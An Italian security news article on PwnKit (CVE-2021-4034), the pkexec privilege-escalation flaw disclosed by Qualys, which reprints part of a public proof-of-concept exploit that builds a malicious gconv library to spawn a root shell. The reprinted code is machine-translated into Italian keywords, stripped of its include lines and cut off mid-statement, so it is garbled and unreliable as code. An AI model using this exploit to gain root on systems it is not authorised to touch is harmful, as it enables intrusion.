Red Hot Cyber

La cybersecurity è condivisione.
Riconosci il rischio, combattilo, condividi le tue esperienze ed 
incentiva gli altri a fare meglio di te.

Cerca
Crowdstrike

PwnKit: il bug universale su Linux di privilege escalation, vecchio di 12 anni.

Redazione RHC : 10 Febbraio 2022 08:41

  

Una vulnerabilità nel componente pkexec di Polkit identificato come CVE-2021-4034 (PwnKit) è stata scoperta dal team di ricerca di Qualys, ed è presente nella configurazione predefinita di tutte le principali distribuzioni Linux e può essere sfruttata per ottenere privilegi di root completi sul sistema, avvertono oggi i ricercatori.
https://0cd91c69-ee11-4eeb-8e8e-d8e681b15302.usrfiles.com/html/db9376e69cfa487ea0fa0b912ae51a4f_v1.html

Parte del framework dell’applicazione open source Polkit che negozia l’interazione tra processi privilegiati e non privilegiati, pkexec consente a un utente autorizzato di eseguire comandi come un altro utente.

Il corretto sfruttamento di questa vulnerabilità consente a qualsiasi utente senza privilegi di ottenere i privilegi di root sull’host vulnerabile. I ricercatori sulla sicurezza di Qualys sono stati in grado di verificare in modo indipendente la vulnerabilità, sviluppare un exploit e ottenere i privilegi di root completi sulle installazioni predefinite di Ubuntu, Debian, Fedora e CentOS.
https://0cd91c69-ee11-4eeb-8e8e-d8e681b15302.usrfiles.com/html/db9376e69cfa487ea0fa0b912ae51a4f_v1.html

Altre distribuzioni Linux sono probabilmente vulnerabili e probabilmente sfruttabili. Questa vulnerabilità è stata nascosta per oltre 12 anni e interessa tutte le versioni di pkexec dalla sua prima versione nel maggio 2009 (commit c8c3d83).

Non appena il team di ricerca ha confermato la vulnerabilità, Qualys si è impegnata nella divulgazione responsabile e si è coordinata con i fornitori e le distribuzioni open source per annunciare la vulnerabilità. Guarda questo video di un potenziale percorso di exploit.
https://0cd91c69-ee11-4eeb-8e8e-d8e681b15302.usrfiles.com/html/db9376e69cfa487ea0fa0b912ae51a4f_v1.html
https://player.vimeo.com/video/669715589?h=3bf67eea45&title=0&byline=0&portrait=0&playsinline=0&autopause=0&app_id=122963

A quanto pare, è già emerso un exploit, a meno di tre ore dalla pubblicazione dei dettagli tecnici di PwnKit da parte di Qualys.
https://0cd91c69-ee11-4eeb-8e8e-d8e681b15302.usrfiles.com/html/db9376e69cfa487ea0fa0b912ae51a4f_v1.html

BleepingComputer ha compilato e testato l’exploit disponibile, che si è rivelato affidabile in quanto ci ha fornito i privilegi di root sul sistema in tutti i tentativi.

/*
 * blasty-vs-pkexec.c -- di blasty  
 *------------------------------------------------
 * PoC per CVE-2021-4034, grida a Qualys
 *
 * exploit di qualità ctf
 *
 * bla bla divulgazione irresponsabile
 *
 * -- esplosivo // 25-01-2022
 */
#include 
#include 
#include 
#include 
#include 
#include 
#include 
void fatal(char *f) {
    errore(f);
    uscita(-1);
}
void compile_so() {
    FILE *f = fopen("payload.c", "wb");
    se (f == NULLA) {
        fatale("fopen");
    }
    char so_code[]=
        "#include \n"
        "#include \n"
        "#include \n"
        "void gconv() {\n"
        " ritorno;\n"
        "}\n"
        "void gconv_init() {\n"
        " setuid(0); seteuid(0); setgid(0); setegid(0);\n"
        " carattere statico *a_argv[] = { \"sh\", NULL };\n"
        " carattere statico *a_envp[] = { \"PERCORSO=/bin:/usr/bin:/sbin\", NULL };\n"
        " execve(\"/bin/sh\", a_argv, a_envp);\n"
        " uscita(0);\n"
        "}\n";
    fwrite(così_codice, strlen(così_codice), 1, f);
    fclose(f);
    system("gcc -o payload.so -shared -fPIC payload.c");
}
int main(int argc, char *argv[]) {
    struct stat st;
    char *a_argv[]={ NULL };
    carattere *a_envp[]={
        "LOL",
        "PERCORSO=GCONV_PERCORSO=.",
        "LC_MESSAGES=it_US.UTF-8",
        "XAUTHORITY=../LOL",
        NULLO
    };
    printf("[~] aiutante per la compilazione..\n");
    compile_so();
    if (stat("PERCORSO_GCONV=.", &st) 



test svolto da Bleeping computer su Ubuntu

Riferendosi all’exploit, l’analista di vulnerabilità CERT/CC Will Dormann ha affermato che è sia semplice che universale. Il ricercatore lo ha ulteriormente testato su un sistema ARM64, dimostrando che funziona anche su quell’architettura.
https://0cd91c69-ee11-4eeb-8e8e-d8e681b15302.usrfiles.com/html/db9376e69cfa487ea0fa0b912ae51a4f_v1.html

Qualys ha segnalato il problema di sicurezza in modo responsabile il 18 novembre 2021 e ha atteso che una patch diventasse disponibile prima di pubblicare i dettagli tecnici di PwnKit .

Redazione
La redazione di Red Hot Cyber è composta da un insieme di persone fisiche e fonti anonime che collaborano attivamente fornendo informazioni in anteprima e news sulla sicurezza informatica e sull'informatica in generale.